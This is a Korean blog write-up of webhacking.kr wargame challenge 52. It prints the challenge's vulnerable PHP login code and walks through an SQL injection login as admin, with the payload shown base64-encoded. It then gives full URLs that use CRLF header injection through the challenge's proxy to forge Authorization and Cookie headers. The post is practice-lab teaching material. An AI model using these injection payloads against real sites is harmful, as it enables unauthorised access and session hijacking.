본문 바로가기

Wargame, CTF/webhacking.kr

Webhacking.kr 52번

메인화면
admin page
로그인 실패시

<?php
include "config.php";
if($_GET['view_source']) view_source();
if($_GET['logout'] == 1){
  $_SESSION['login']="";
  exit("<script>location.href='./';</script>");
}
if($_SESSION['login']){
  echo "hi {$_SESSION['login']}<br>";
  if($_SESSION['login'] == "admin"){
    if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
    else echo "Only access from virtual IP address";
  }
  else echo "You are not admin";
  echo "<br><a href=./?logout=1>[logout]</a>";
  exit;
}
if(!$_SESSION['login']){
  if(preg_match("/logout=1/",$_SERVER['HTTP_REFERER'])){
    header('WWW-Authenticate: Basic realm="Protected Area"');
    header('HTTP/1.0 401 Unauthorized');
  }
  if($_SERVER['PHP_AUTH_USER']){
    $id = $_SERVER['PHP_AUTH_USER'];
    $pw = $_SERVER['PHP_AUTH_PW'];
    $pw = md5($pw);
    $db = dbconnect();
    $query = "select id from member where id='{$id}' and pw='{$pw}'";
    $result = mysqli_fetch_array(mysqli_query($db,$query));
    if($result['id']){
      $_SESSION['login'] = $result['id'];
      exit("<script>location.href='./';</script>");
    }
  }
  if(!$_SESSION['login']){
    header('WWW-Authenticate: Basic realm="Protected Area"');
    header('HTTP/1.0 401 Unauthorized');
    echo "Login Fail";
  }
}
?><hr><a href=./?view_source=1>view-source</a>

소스코드

 

일단 클리어를 하려면

admin으로 로그인하고

remote ip가 172.17.0.~가 되어야함

 

proxy.php

프록시를 줬음

벞스에서 보던거랑 거의 유사함

 

guest로 로그인

 

sql injection으로 admin으로 로그인한다

 

admin로 로그인

 

처음에 admin page에서 뭘 해보려다

삽질이란걸 알게됨

 

이 문제는 문제에서 준 proxy를 활용해야함

괜히 준게 아니였음

 

기본 proxy.php

proxy로 바로 들어가면

Response에 메인화면과 같다

지금 url은 proxy.php?page=/

이렇게 되어있는데

proxy.php?page=/admin/

이렇게 주게되면

 

page=/admin/

admin page의 response가 뜸

실제 admin page에 admin으로 로그인 했지만

여기선 Login Fail이 떠있음

 

실제로 벞스에서 /admin/으로 갈 때 request 내용을 보게되면

request

 

중간에

Authorization: Basic YWRtaW4nLS0gLToxMjM0

이런 부분이 보인다

YWRtaW4nLS0gLToxMjM0

이걸 base64로 디코딩하면

아까 내가 admin page에서 로그인하려고 쓴 injection코드가나온다

base64로 디코딩한 모습

 

admin페이지에선 무슨짓을 해도 flag가 안뜬다

그래서 문제의 proxy에서 header injection하기로함

일단 proxy.php?page=/admin/ 이부분에서

page=/admin/

request의 header가 텅텅이니 추가해주기로함

http://webhacking.kr:10008/proxy.php?page=/admin/%20HTTP/1.1%0d%0aAuthorization:%20Basic%20YWRtaW4nLS0gLToxMjM0 

법스로 안잡아주면 바로 이동하기 때문에 일단

intercept해주어서 리다이렉팅을 피해야함

 

벞스

이 response에서 script구문을 제거한다

그러면 request에도 뭔가 추가됐고

response에 Login Fail도 사라짐

하지만 flag를 뽑기엔 뭔가 부족함

 

문제의 프록시를 보면 set-cookie부분이 있는데

저기서 정해주는 쿠키를 다시 삽입하기로함

 

http://webhacking.kr:10008/proxy.php?page=/admin/%20HTTP/1.1%0d%0aAuthorization:%20Basic%20YWRtaW4nLS0gLToxMjM0%0d%0aCookie:%20PHPSESSID=fokufmm84tpchvv0mgrlh8mbac;

 

클리어

막적었지만 header injection과

flag처럼 server side request forgery 문제인거 같다

'Wargame, CTF > webhacking.kr' 카테고리의 다른 글

Webhacking.kr 6번  (0) 2020.01.24
Webhacking.kr 1번  (0) 2020.01.24
Webhacking.kr 13번  (1) 2020.01.07
Webhacking.kr 9번  (0) 2020.01.03
Webhacking.kr 57번  (0) 2020.01.03